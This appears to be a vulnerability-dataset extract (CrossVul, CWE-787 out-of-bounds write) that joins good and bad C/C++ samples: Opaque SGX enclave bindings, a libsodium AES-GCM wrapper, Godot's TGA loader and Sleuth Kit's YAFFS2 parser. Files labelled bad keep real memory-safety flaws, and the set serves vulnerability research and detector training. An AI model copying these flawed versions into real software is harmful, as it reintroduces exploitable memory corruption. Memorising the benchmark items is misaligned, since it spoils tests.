env->SetByteArrayRegion(first_row_array, 0, first_row_length, (jbyte *) first_row); free(first_row); jbyteArray last_group_array = env->NewByteArray(last_group_length); env->SetByteArrayRegion(last_group_array, 0, last_group_length, (jbyte *) last_group); free(last_group); jbyteArray last_row_array = env->NewByteArray(last_row_length); env->SetByteArrayRegion(last_row_array, 0, last_row_length, (jbyte *) last_row); free(last_row); env->ReleaseByteArrayElements(agg_op, (jbyte *) agg_op_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); jclass tuple3_class = env->FindClass("scala/Tuple3"); jobject ret = env->NewObject( tuple3_class, env->GetMethodID(tuple3_class, "<init>", "(Ljava/lang/Object;Ljava/lang/Object;Ljava/lang/Object;)V"), first_row_array, last_group_array, last_row_array); return ret; } JNIEXPORT jbyteArray JNICALL Java_edu_berkeley_cs_rise_opaque_execution_SGXEnclave_NonObliviousAggregateStep2( JNIEnv *env, jobject obj, jlong eid, jbyteArray agg_op, jbyteArray input_rows, jbyteArray next_partition_first_row, jbyteArray prev_partition_last_group, jbyteArray prev_partition_last_row) { (void)obj; jboolean if_copy; uint32_t agg_op_length = (uint32_t) env->GetArrayLength(agg_op); uint8_t *agg_op_ptr = (uint8_t *) env->GetByteArrayElements(agg_op, &if_copy); uint32_t input_rows_length = (uint32_t) env->GetArrayLength(input_rows); uint8_t *input_rows_ptr = (uint8_t *) env->GetByteArrayElements(input_rows, &if_copy); uint32_t next_partition_first_row_length = (uint32_t) env->GetArrayLength(next_partition_first_row); uint8_t *next_partition_first_row_ptr = (uint8_t *) env->GetByteArrayElements(next_partition_first_row, &if_copy); uint32_t prev_partition_last_group_length = (uint32_t) env->GetArrayLength(prev_partition_last_group); uint8_t *prev_partition_last_group_ptr = (uint8_t *) env->GetByteArrayElements(prev_partition_last_group, &if_copy); uint32_t prev_partition_last_row_length = (uint32_t) env->GetArrayLength(prev_partition_last_row); uint8_t *prev_partition_last_row_ptr = (uint8_t *) env->GetByteArrayElements(prev_partition_last_row, &if_copy); uint8_t *output_rows; size_t output_rows_length; sgx_check("Non-Oblivious Aggregate Step 2", ecall_non_oblivious_aggregate_step2( eid, agg_op_ptr, agg_op_length, input_rows_ptr, input_rows_length, next_partition_first_row_ptr, next_partition_first_row_length, prev_partition_last_group_ptr, prev_partition_last_group_length, prev_partition_last_row_ptr, prev_partition_last_row_length, &output_rows, &output_rows_length)); jbyteArray ret = env->NewByteArray(output_rows_length); env->SetByteArrayRegion(ret, 0, output_rows_length, (jbyte *) output_rows); free(output_rows); env->ReleaseByteArrayElements(agg_op, (jbyte *) agg_op_ptr, 0); env->ReleaseByteArrayElements(input_rows, (jbyte *) input_rows_ptr, 0); env->ReleaseByteArrayElements( next_partition_first_row, (jbyte *) next_partition_first_row_ptr, 0); env->ReleaseByteArrayElements( prev_partition_last_group, (jbyte *) prev_partition_last_group_ptr, 0); env->ReleaseByteArrayElements( prev_partition_last_row, (jbyte *) prev_partition_last_row_ptr, 0); return ret; } /* application entry */ //SGX_CDECL int SGX_CDECL main(int argc, char *argv[]) { (void)(argc); (void)(argv); #if defined(_MSC_VER) if (query_sgx_status() < 0) { /* either SGX is disabled, or a reboot is required to enable SGX */ printf("Enter a character before exit ...\n"); getchar(); return -1; } #endif /* Initialize the enclave */ if(initialize_enclave() < 0){ printf("Enter a character before exit ...\n"); getchar(); return -1; } /* Destroy the enclave */ sgx_destroy_enclave(global_eid); printf("Info: SampleEnclave successfully returned.\n"); return 0; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_517_0
crossvul-cpp_data_bad_4594_0
#include "crypto.h" #include <tier0/vprof.h> #include <tier0/dbg.h> #include "tier0/memdbgoff.h" #include <sodium.h> #include "tier0/memdbgon.h" #ifdef STEAMNETWORKINGSOCKETS_CRYPTO_LIBSODIUM SymmetricCryptContextBase::SymmetricCryptContextBase() : m_ctx(nullptr), m_cbIV(0), m_cbTag(0) { } void SymmetricCryptContextBase::Wipe() { sodium_free(m_ctx); m_ctx = nullptr; m_cbIV = 0; m_cbTag = 0; } bool AES_GCM_CipherContext::InitCipher( const void *pKey, size_t cbKey, size_t cbIV, size_t cbTag, bool bEncrypt ) { // Libsodium requires AES and CLMUL instructions for AES-GCM, available in // Intel "Westmere" and up. 90.41% of Steam users have this as of the // November 2019 survey. // Libsodium recommends ChaCha20-Poly1305 in software if you've not got AES support // in hardware. AssertMsg( crypto_aead_aes256gcm_is_available() == 1, "No hardware AES support on this CPU." ); AssertMsg( cbKey == crypto_aead_aes256gcm_KEYBYTES, "AES key sizes other than 256 are unsupported." ); AssertMsg( cbIV == crypto_aead_aes256gcm_NPUBBYTES, "Nonce size is unsupported" ); if(m_ctx == nullptr) { m_ctx = sodium_malloc( sizeof(crypto_aead_aes256gcm_state) ); } crypto_aead_aes256gcm_beforenm( static_cast<crypto_aead_aes256gcm_state*>( m_ctx ), static_cast<const unsigned char*>( pKey ) ); return true; } bool AES_GCM_EncryptContext::Encrypt( const void *pPlaintextData, size_t cbPlaintextData, const void *pIV, void *pEncryptedDataAndTag, uint32 *pcbEncryptedDataAndTag, const void *pAdditionalAuthenticationData, size_t cbAuthenticationData ) { unsigned long long pcbEncryptedDataAndTag_longlong = *pcbEncryptedDataAndTag; crypto_aead_aes256gcm_encrypt_afternm( static_cast<unsigned char*>( pEncryptedDataAndTag ), &pcbEncryptedDataAndTag_longlong, static_cast<const unsigned char*>( pPlaintextData ), cbPlaintextData, static_cast<const unsigned char*>(pAdditionalAuthenticationData), cbAuthenticationData, nullptr, static_cast<const unsigned char*>( pIV ), static_cast<const crypto_aead_aes256gcm_state*>( m_ctx ) ); *pcbEncryptedDataAndTag = pcbEncryptedDataAndTag_longlong; return true; } bool AES_GCM_DecryptContext::Decrypt( const void *pEncryptedDataAndTag, size_t cbEncryptedDataAndTag, const void *pIV, void *pPlaintextData, uint32 *pcbPlaintextData, const void *pAdditionalAuthenticationData, size_t cbAuthenticationData ) { unsigned long long pcbPlaintextData_longlong; const int nDecryptResult = crypto_aead_aes256gcm_decrypt_afternm( static_cast<unsigned char*>( pPlaintextData ), &pcbPlaintextData_longlong, nullptr, static_cast<const unsigned char*>( pEncryptedDataAndTag ), cbEncryptedDataAndTag, static_cast<const unsigned char*>( pAdditionalAuthenticationData ), cbAuthenticationData, static_cast<const unsigned char*>( pIV ), static_cast<const crypto_aead_aes256gcm_state*>( m_ctx ) ); *pcbPlaintextData = pcbPlaintextData_longlong; return nDecryptResult == 0; } void CCrypto::Init() { // sodium_init is safe to call multiple times from multiple threads // so no need to do anything clever here. if(sodium_init() < 0) { AssertMsg( false, "libsodium didn't init" ); } } void CCrypto::GenerateRandomBlock( void *pubDest, int cubDest ) { VPROF_BUDGET( "CCrypto::GenerateRandomBlock", VPROF_BUDGETGROUP_ENCRYPTION ); AssertFatal( cubDest >= 0 ); randombytes_buf( pubDest, cubDest ); } void CCrypto::GenerateSHA256Digest( const void *pData, size_t cbData, SHA256Digest_t *pOutputDigest ) { VPROF_BUDGET( "CCrypto::GenerateSHA256Digest", VPROF_BUDGETGROUP_ENCRYPTION ); Assert( pData ); Assert( pOutputDigest ); crypto_hash_sha256( *pOutputDigest, static_cast<const unsigned char*>(pData), cbData ); } void CCrypto::GenerateHMAC256( const uint8 *pubData, uint32 cubData, const uint8 *pubKey, uint32 cubKey, SHA256Digest_t *pOutputDigest ) { VPROF_BUDGET( "CCrypto::GenerateHMAC256", VPROF_BUDGETGROUP_ENCRYPTION ); Assert( pubData ); Assert( cubData > 0 ); Assert( pubKey ); Assert( cubKey > 0 ); Assert( pOutputDigest ); Assert( sizeof(*pOutputDigest) == crypto_auth_hmacsha256_BYTES ); Assert( cubKey == crypto_auth_hmacsha256_KEYBYTES ); crypto_auth_hmacsha256( *pOutputDigest, pubData, cubData, pubKey ); } #endif
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_4594_0
crossvul-cpp_data_good_1979_0
/*************************************************************************/ /* image_loader_tga.cpp */ /*************************************************************************/ /* This file is part of: */ /* GODOT ENGINE */ /* https://godotengine.org */ /*************************************************************************/ /* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur. */ /* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md). */ /* */ /* Permission is hereby granted, free of charge, to any person obtaining */ /* a copy of this software and associated documentation files (the */ /* "Software"), to deal in the Software without restriction, including */ /* without limitation the rights to use, copy, modify, merge, publish, */ /* distribute, sublicense, and/or sell copies of the Software, and to */ /* permit persons to whom the Software is furnished to do so, subject to */ /* the following conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */ /* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/ /* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */ /* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */ /* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */ /* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /*************************************************************************/ #include "image_loader_tga.h" #include "core/error/error_macros.h" #include "core/io/file_access_memory.h" #include "core/os/os.h" #include "core/string/print_string.h" Error ImageLoaderTGA::decode_tga_rle(const uint8_t *p_compressed_buffer, size_t p_pixel_size, uint8_t *p_uncompressed_buffer, size_t p_output_size) { Error error; Vector<uint8_t> pixels; error = pixels.resize(p_pixel_size); if (error != OK) { return error; } uint8_t *pixels_w = pixels.ptrw(); size_t compressed_pos = 0; size_t output_pos = 0; size_t c = 0; size_t count = 0; while (output_pos < p_output_size) { c = p_compressed_buffer[compressed_pos]; compressed_pos += 1; count = (c & 0x7f) + 1; if (output_pos + count * p_pixel_size > output_pos) { return ERR_PARSE_ERROR; } if (c & 0x80) { for (size_t i = 0; i < p_pixel_size; i++) { pixels_w[i] = p_compressed_buffer[compressed_pos]; compressed_pos += 1; } for (size_t i = 0; i < count; i++) { for (size_t j = 0; j < p_pixel_size; j++) { p_uncompressed_buffer[output_pos + j] = pixels_w[j]; } output_pos += p_pixel_size; } } else { count *= p_pixel_size; for (size_t i = 0; i < count; i++) { p_uncompressed_buffer[output_pos] = p_compressed_buffer[compressed_pos]; compressed_pos += 1; output_pos += 1; } } } return OK; } Error ImageLoaderTGA::convert_to_image(Ref<Image> p_image, const uint8_t *p_buffer, const tga_header_s &p_header, const uint8_t *p_palette, const bool p_is_monochrome, size_t p_output_size) { #define TGA_PUT_PIXEL(r, g, b, a) \ int image_data_ofs = ((y * width) + x); \ image_data_w[image_data_ofs * 4 + 0] = r; \ image_data_w[image_data_ofs * 4 + 1] = g; \ image_data_w[image_data_ofs * 4 + 2] = b; \ image_data_w[image_data_ofs * 4 + 3] = a; uint32_t width = p_header.image_width; uint32_t height = p_header.image_height; tga_origin_e origin = static_cast<tga_origin_e>((p_header.image_descriptor & TGA_ORIGIN_MASK) >> TGA_ORIGIN_SHIFT); uint32_t x_start; int32_t x_step; uint32_t x_end; uint32_t y_start; int32_t y_step; uint32_t y_end; if (origin == TGA_ORIGIN_TOP_LEFT || origin == TGA_ORIGIN_TOP_RIGHT) { y_start = 0; y_step = 1; y_end = height; } else { y_start = height - 1; y_step = -1; y_end = -1; } if (origin == TGA_ORIGIN_TOP_LEFT || origin == TGA_ORIGIN_BOTTOM_LEFT) { x_start = 0; x_step = 1; x_end = width; } else { x_start = width - 1; x_step = -1; x_end = -1; } Vector<uint8_t> image_data; image_data.resize(width * height * sizeof(uint32_t)); uint8_t *image_data_w = image_data.ptrw(); size_t i = 0; uint32_t x = x_start; uint32_t y = y_start; if (p_header.pixel_depth == 8) { if (p_is_monochrome) { while (y != y_end) { while (x != x_end) { if (i > p_output_size) { return ERR_PARSE_ERROR; } uint8_t shade = p_buffer[i]; TGA_PUT_PIXEL(shade, shade, shade, 0xff) x += x_step; i += 1; } x = x_start; y += y_step; } } else { while (y != y_end) { while (x != x_end) { if (i > p_output_size) { return ERR_PARSE_ERROR; } uint8_t index = p_buffer[i]; uint8_t r = 0x00; uint8_t g = 0x00; uint8_t b = 0x00; uint8_t a = 0xff; if (p_header.color_map_depth == 24) { // Due to low-high byte order, the color table must be // read in the same order as image data (little endian) r = (p_palette[(index * 3) + 2]); g = (p_palette[(index * 3) + 1]); b = (p_palette[(index * 3) + 0]); } else { return ERR_INVALID_DATA; } TGA_PUT_PIXEL(r, g, b, a) x += x_step; i += 1; } x = x_start; y += y_step; } } } else if (p_header.pixel_depth == 24) { while (y != y_end) { while (x != x_end) { if (i + 2 > p_output_size) { return ERR_PARSE_ERROR; } uint8_t r = p_buffer[i + 2]; uint8_t g = p_buffer[i + 1]; uint8_t b = p_buffer[i + 0]; TGA_PUT_PIXEL(r, g, b, 0xff) x += x_step; i += 3; } x = x_start; y += y_step; } } else if (p_header.pixel_depth == 32) { while (y != y_end) { while (x != x_end) { if (i + 3 > p_output_size) { return ERR_PARSE_ERROR; } uint8_t a = p_buffer[i + 3]; uint8_t r = p_buffer[i + 2]; uint8_t g = p_buffer[i + 1]; uint8_t b = p_buffer[i + 0]; TGA_PUT_PIXEL(r, g, b, a) x += x_step; i += 4; } x = x_start; y += y_step; } } p_image->create(width, height, false, Image::FORMAT_RGBA8, image_data); return OK; } Error ImageLoaderTGA::load_image(Ref<Image> p_image, FileAccess *f, bool p_force_linear, float p_scale) { Vector<uint8_t> src_image; int src_image_len = f->get_len(); ERR_FAIL_COND_V(src_image_len == 0, ERR_FILE_CORRUPT); ERR_FAIL_COND_V(src_image_len < (int)sizeof(tga_header_s), ERR_FILE_CORRUPT); src_image.resize(src_image_len); Error err = OK; tga_header_s tga_header; tga_header.id_length = f->get_8(); tga_header.color_map_type = f->get_8(); tga_header.image_type = static_cast<tga_type_e>(f->get_8()); tga_header.first_color_entry = f->get_16(); tga_header.color_map_length = f->get_16(); tga_header.color_map_depth = f->get_8(); tga_header.x_origin = f->get_16(); tga_header.y_origin = f->get_16(); tga_header.image_width = f->get_16(); tga_header.image_height = f->get_16(); tga_header.pixel_depth = f->get_8(); tga_header.image_descriptor = f->get_8(); bool is_encoded = (tga_header.image_type == TGA_TYPE_RLE_INDEXED || tga_header.image_type == TGA_TYPE_RLE_RGB || tga_header.image_type == TGA_TYPE_RLE_MONOCHROME); bool has_color_map = (tga_header.image_type == TGA_TYPE_RLE_INDEXED || tga_header.image_type == TGA_TYPE_INDEXED); bool is_monochrome = (tga_header.image_type == TGA_TYPE_RLE_MONOCHROME || tga_header.image_type == TGA_TYPE_MONOCHROME); if (tga_header.image_type == TGA_TYPE_NO_DATA) { err = FAILED; } if (has_color_map) { if (tga_header.color_map_length > 256 || (tga_header.color_map_depth != 24) || tga_header.color_map_type != 1) { err = FAILED; } } else { if (tga_header.color_map_type) { err = FAILED; } } if (tga_header.image_width <= 0 || tga_header.image_height <= 0) { err = FAILED; } if (!(tga_header.pixel_depth == 8 || tga_header.pixel_depth == 24 || tga_header.pixel_depth == 32)) { err = FAILED; } if (err == OK) { f->seek(f->get_position() + tga_header.id_length); Vector<uint8_t> palette; if (has_color_map) { size_t color_map_size = tga_header.color_map_length * (tga_header.color_map_depth >> 3); err = palette.resize(color_map_size); if (err == OK) { uint8_t *palette_w = palette.ptrw(); f->get_buffer(&palette_w[0], color_map_size); } else { return OK; } } uint8_t *src_image_w = src_image.ptrw(); f->get_buffer(&src_image_w[0], src_image_len - f->get_position()); const uint8_t *src_image_r = src_image.ptr(); const size_t pixel_size = tga_header.pixel_depth >> 3; size_t buffer_size = (tga_header.image_width * tga_header.image_height) * pixel_size; Vector<uint8_t> uncompressed_buffer; uncompressed_buffer.resize(buffer_size); uint8_t *uncompressed_buffer_w = uncompressed_buffer.ptrw(); const uint8_t *uncompressed_buffer_r; const uint8_t *buffer = nullptr; if (is_encoded) { err = decode_tga_rle(src_image_r, pixel_size, uncompressed_buffer_w, buffer_size); if (err == OK) { uncompressed_buffer_r = uncompressed_buffer.ptr(); buffer = uncompressed_buffer_r; } } else { buffer = src_image_r; buffer_size = src_image_len; }; if (err == OK) { const uint8_t *palette_r = palette.ptr(); err = convert_to_image(p_image, buffer, tga_header, palette_r, is_monochrome, buffer_size); } } f->close(); return err; } void ImageLoaderTGA::get_recognized_extensions(List<String> *p_extensions) const { p_extensions->push_back("tga"); } static Ref<Image> _tga_mem_loader_func(const uint8_t *p_tga, int p_size) { FileAccessMemory memfile; Error open_memfile_error = memfile.open_custom(p_tga, p_size); ERR_FAIL_COND_V_MSG(open_memfile_error, Ref<Image>(), "Could not create memfile for TGA image buffer."); Ref<Image> img; img.instance(); Error load_error = ImageLoaderTGA().load_image(img, &memfile, false, 1.0f); ERR_FAIL_COND_V_MSG(load_error, Ref<Image>(), "Failed to load TGA image."); return img; } ImageLoaderTGA::ImageLoaderTGA() { Image::_tga_mem_loader_func = _tga_mem_loader_func; }
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_1979_0
crossvul-cpp_data_bad_517_1
#include "Enclave_t.h" #include <cstdint> #include <cassert> #include "Aggregate.h" #include "Crypto.h" #include "Filter.h" #include "Join.h" #include "Project.h" #include "Sort.h" #include "isv_enclave.h" #include "util.h" // This file contains definitions of the ecalls declared in Enclave.edl. Errors originating within // these ecalls are signaled by throwing a std::runtime_error, which is caught at the top level of // the ecall (i.e., within these definitions), and are then rethrown as Java exceptions using // ocall_throw. void ecall_encrypt(uint8_t *plaintext, uint32_t plaintext_length, uint8_t *ciphertext, uint32_t cipher_length) { try { // IV (12 bytes) + ciphertext + mac (16 bytes) assert(cipher_length >= plaintext_length + SGX_AESGCM_IV_SIZE + SGX_AESGCM_MAC_SIZE); (void)cipher_length; (void)plaintext_length; encrypt(plaintext, plaintext_length, ciphertext); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_project(uint8_t *condition, size_t condition_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { project(condition, condition_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_filter(uint8_t *condition, size_t condition_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { filter(condition, condition_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_sample(uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { sample(input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_find_range_bounds(uint8_t *sort_order, size_t sort_order_length, uint32_t num_partitions, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { find_range_bounds(sort_order, sort_order_length, num_partitions, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_partition_for_sort(uint8_t *sort_order, size_t sort_order_length, uint32_t num_partitions, uint8_t *input_rows, size_t input_rows_length, uint8_t *boundary_rows, size_t boundary_rows_length, uint8_t **output_partitions, size_t *output_partition_lengths) { try { partition_for_sort(sort_order, sort_order_length, num_partitions, input_rows, input_rows_length, boundary_rows, boundary_rows_length, output_partitions, output_partition_lengths); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_external_sort(uint8_t *sort_order, size_t sort_order_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { external_sort(sort_order, sort_order_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_scan_collect_last_primary(uint8_t *join_expr, size_t join_expr_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **output_rows, size_t *output_rows_length) { try { scan_collect_last_primary(join_expr, join_expr_length, input_rows, input_rows_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_sort_merge_join(uint8_t *join_expr, size_t join_expr_length, uint8_t *input_rows, size_t input_rows_length, uint8_t *join_row, size_t join_row_length, uint8_t **output_rows, size_t *output_rows_length) { try { non_oblivious_sort_merge_join(join_expr, join_expr_length, input_rows, input_rows_length, join_row, join_row_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_aggregate_step1( uint8_t *agg_op, size_t agg_op_length, uint8_t *input_rows, size_t input_rows_length, uint8_t **first_row, size_t *first_row_length, uint8_t **last_group, size_t *last_group_length, uint8_t **last_row, size_t *last_row_length) { try { non_oblivious_aggregate_step1( agg_op, agg_op_length, input_rows, input_rows_length, first_row, first_row_length, last_group, last_group_length, last_row, last_row_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } void ecall_non_oblivious_aggregate_step2( uint8_t *agg_op, size_t agg_op_length, uint8_t *input_rows, size_t input_rows_length, uint8_t *next_partition_first_row, size_t next_partition_first_row_length, uint8_t *prev_partition_last_group, size_t prev_partition_last_group_length, uint8_t *prev_partition_last_row, size_t prev_partition_last_row_length, uint8_t **output_rows, size_t *output_rows_length) { try { non_oblivious_aggregate_step2( agg_op, agg_op_length, input_rows, input_rows_length, next_partition_first_row, next_partition_first_row_length, prev_partition_last_group, prev_partition_last_group_length, prev_partition_last_row, prev_partition_last_row_length, output_rows, output_rows_length); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } sgx_status_t ecall_enclave_init_ra(int b_pse, sgx_ra_context_t *p_context) { try { return enclave_init_ra(b_pse, p_context); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } } void ecall_enclave_ra_close(sgx_ra_context_t context) { try { enclave_ra_close(context); } catch (const std::runtime_error &e) { ocall_throw(e.what()); } } sgx_status_t ecall_verify_att_result_mac(sgx_ra_context_t context, uint8_t* message, size_t message_size, uint8_t* mac, size_t mac_size) { try { return verify_att_result_mac(context, message, message_size, mac, mac_size); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } } sgx_status_t ecall_put_secret_data(sgx_ra_context_t context, uint8_t* p_secret, uint32_t secret_size, uint8_t* gcm_mac) { try { return put_secret_data(context, p_secret, secret_size, gcm_mac); } catch (const std::runtime_error &e) { ocall_throw(e.what()); return SGX_ERROR_UNEXPECTED; } }
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_517_1
crossvul-cpp_data_bad_3866_0
/* ** The Sleuth Kit ** ** Brian Carrier [carrier <at> sleuthkit [dot] org] ** Copyright (c) 2006-2011 Brian Carrier, Basis Technology. All Rights reserved ** Copyright (c) 2003-2005 Brian Carrier. All rights reserved ** ** TASK v** Copyright (c) 2002-2003 Brian Carrier, @stake Inc. All rights reserved ** ** Copyright (c) 1997,1998,1999, International Business Machines ** Corporation and others. All Rights Reserved. */ /** *\file yaffs.cpp * Contains the internal TSK YAFFS2 file system functions. */ /* TCT * LICENSE * This software is distributed under the IBM Public License. * AUTHOR(S) * Wietse Venema * IBM T.J. Watson Research * P.O. Box 704 * Yorktown Heights, NY 10598, USA --*/ #include <vector> #include <map> #include <algorithm> #include <string> #include <set> #include <string.h> #include "tsk_fs_i.h" #include "tsk_yaffs.h" #include "tsk_fs.h" /* * Implementation Notes: * - As inode, we use object id and a version number derived from the * number of unique sequence ids for the object still left in the * file system. * * - The version numbers start at 1 and increase as they get closer to * the the latest version. Version number 0 is a special version * that is equivalent to the latest version (without having to know * the latest version number.) * * - Since inodes are composed using the object id in the least * significant bits and the version up higher, requesting the * inode that matches the object id you are looking for will * retrieve the latest version of this object. * * - Files always exist in the latest version of their parent directory * only. * * - Filenames are not unique even with attached version numbers, since * version numbers are namespaced by inode. * * - The cache stores a lot of info via the structure. As this is * used for investigations, we assume these decisions will be updated * to expose the most useful view of this log based file system. TSK * doesn't seem have a real way to expose a versioned view of a log * based file system like this. Shoehorning it into the framework * ends up dropping some information. I looked at using resource * streams as versions, but the abstraction breaks quickly. * */ static const int TWELVE_BITS_MASK = 0xFFF; // Only keep 12 bits static uint8_t yaffsfs_read_header(YAFFSFS_INFO *yfs, YaffsHeader ** header, TSK_OFF_T offset); static uint8_t yaffsfs_load_attrs(TSK_FS_FILE *file); /** * Generate an inode number based on the file's object and version numbers */ static TSK_RETVAL_ENUM yaffscache_obj_id_and_version_to_inode(uint32_t obj_id, uint32_t version_num, TSK_INUM_T *inode) { if ((obj_id & ~YAFFS_OBJECT_ID_MASK) != 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Max object ID %" PRIu32 " is invalid", obj_id); return TSK_ERR; } if ((version_num & ~YAFFS_VERSION_NUM_MASK) != 0) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffsfs_parse_image_load_cache: Max version number %" PRIu32 " is invalid", version_num); return TSK_ERR; } *inode = obj_id | (version_num << YAFFS_VERSION_NUM_SHIFT); return TSK_OK; } /** * Given the TSK-generated inode address, extract the object id and version number from it */ static TSK_RETVAL_ENUM yaffscache_inode_to_obj_id_and_version(TSK_INUM_T inode, uint32_t *obj_id, uint32_t *version_num) { *obj_id = inode & YAFFS_OBJECT_ID_MASK; *version_num = (inode >> YAFFS_VERSION_NUM_SHIFT) & YAFFS_VERSION_NUM_MASK; return TSK_OK; } /* * Order it like yaffs2.git does -- sort by (seq_num, offset/block) */ static int yaffscache_chunk_compare(YaffsCacheChunk *curr, uint32_t addee_obj_id, TSK_OFF_T addee_offset, uint32_t addee_seq_number) { if (curr->ycc_obj_id == addee_obj_id) { if (curr->ycc_seq_number == addee_seq_number) { if (curr->ycc_offset == addee_offset) { return 0; } else if (curr->ycc_offset < addee_offset) { return -1; } else { return 1; } } else if (curr->ycc_seq_number < addee_seq_number) { return -1; } else { return 1; } } else if (curr->ycc_obj_id < addee_obj_id) { return -1; } else { return 1; } } static TSK_RETVAL_ENUM yaffscache_chunk_find_insertion_point(YAFFSFS_INFO *yfs, uint32_t obj_id, TSK_OFF_T offset, uint32_t seq_number, YaffsCacheChunk **chunk) { YaffsCacheChunk *curr, *prev; // Have we seen this obj_id? If not, add an entry for it if(yfs->chunkMap->find(obj_id) == yfs->chunkMap->end()){ fflush(stderr); YaffsCacheChunkGroup chunkGroup; chunkGroup.cache_chunks_head = NULL; chunkGroup.cache_chunks_tail = NULL; yfs->chunkMap->insert(std::make_pair(obj_id, chunkGroup)); } curr = yfs->chunkMap->operator[](obj_id).cache_chunks_head; prev = NULL; if (chunk == NULL) { return TSK_ERR; } while(curr != NULL) { // Compares obj id, then seq num, then offset. -1 => current < new int cmp = yaffscache_chunk_compare(curr, obj_id, offset, seq_number); if (cmp == 0) { *chunk = curr; return TSK_OK; } else if (cmp == 1) { *chunk = prev; return TSK_STOP; } prev = curr; curr = curr->ycc_next; } *chunk = prev; return TSK_STOP; } /** * Add a chunk to the cache. * @param yfs * @param offset Byte offset this chunk was found in (in the disk image) * @param seq_number Sequence number of this chunk * @param obj_id Object Id this chunk is associated with * @param parent_id Parent object ID that this chunk/object is associated with */ static TSK_RETVAL_ENUM yaffscache_chunk_add(YAFFSFS_INFO *yfs, TSK_OFF_T offset, uint32_t seq_number, uint32_t obj_id, uint32_t chunk_id, uint32_t parent_id) { TSK_RETVAL_ENUM result; YaffsCacheChunk *prev; YaffsCacheChunk *chunk; if ((chunk = (YaffsCacheChunk*)tsk_malloc(sizeof(YaffsCacheChunk))) == NULL) { return TSK_ERR; } chunk->ycc_offset = offset; chunk->ycc_seq_number = seq_number; chunk->ycc_obj_id = obj_id; chunk->ycc_chunk_id = chunk_id; chunk->ycc_parent_id = parent_id; // Bit of a hack here. In some images, the root directory (obj_id = 1) lists iself as its parent // directory, which can cause issues later when we get directory contents. To prevent this, // if a chunk comes in with obj_id = 1 and parent_id = 1, manually set the parent ID to zero. if((obj_id == 1) && (parent_id == 1)){ chunk->ycc_parent_id = 0; } // Find the chunk that should go right before the new chunk result = yaffscache_chunk_find_insertion_point(yfs, obj_id, offset, seq_number, &prev); if (result == TSK_ERR) { return TSK_ERR; } if (prev == NULL) { // No previous chunk - new chunk is the lowest we've seen and the new start of the list chunk->ycc_prev = NULL; chunk->ycc_next = yfs->chunkMap->operator[](obj_id).cache_chunks_head; } else { chunk->ycc_prev = prev; chunk->ycc_next = prev->ycc_next; } if (chunk->ycc_next != NULL) { // If we're not at the end, set the prev pointer on the next chunk to point to our new one chunk->ycc_next->ycc_prev = chunk; } else { yfs->chunkMap->operator[](obj_id).cache_chunks_tail = chunk; } if (chunk->ycc_prev != NULL) { // If we're not at the beginning, set the next pointer on the previous chunk to point at our new one chunk->ycc_prev->ycc_next = chunk; } else { yfs->chunkMap->operator[](obj_id).cache_chunks_head = chunk; } return TSK_OK; } /** * Get the file object from the cache. * @returns TSK_OK if it was found and TSK_STOP if we did not find it */ static TSK_RETVAL_ENUM yaffscache_object_find(YAFFSFS_INFO *yfs, uint32_t obj_id, YaffsCacheObject **obj) { YaffsCacheObject *curr, *prev; curr = yfs->cache_objects; prev = NULL; if (obj == NULL) { return TSK_ERR; } while(curr != NULL) { if (curr->yco_obj_id == obj_id) { *obj = curr; return TSK_OK; } else if (curr->yco_obj_id > obj_id) { *obj = prev; return TSK_STOP; } prev = curr; curr = curr->yco_next; } *obj = prev; return TSK_STOP; } /** * Add an object to the cache if it does not already exist in there. * @returns TSK_ERR on error, TSK_OK otherwise. */ static TSK_RETVAL_ENUM 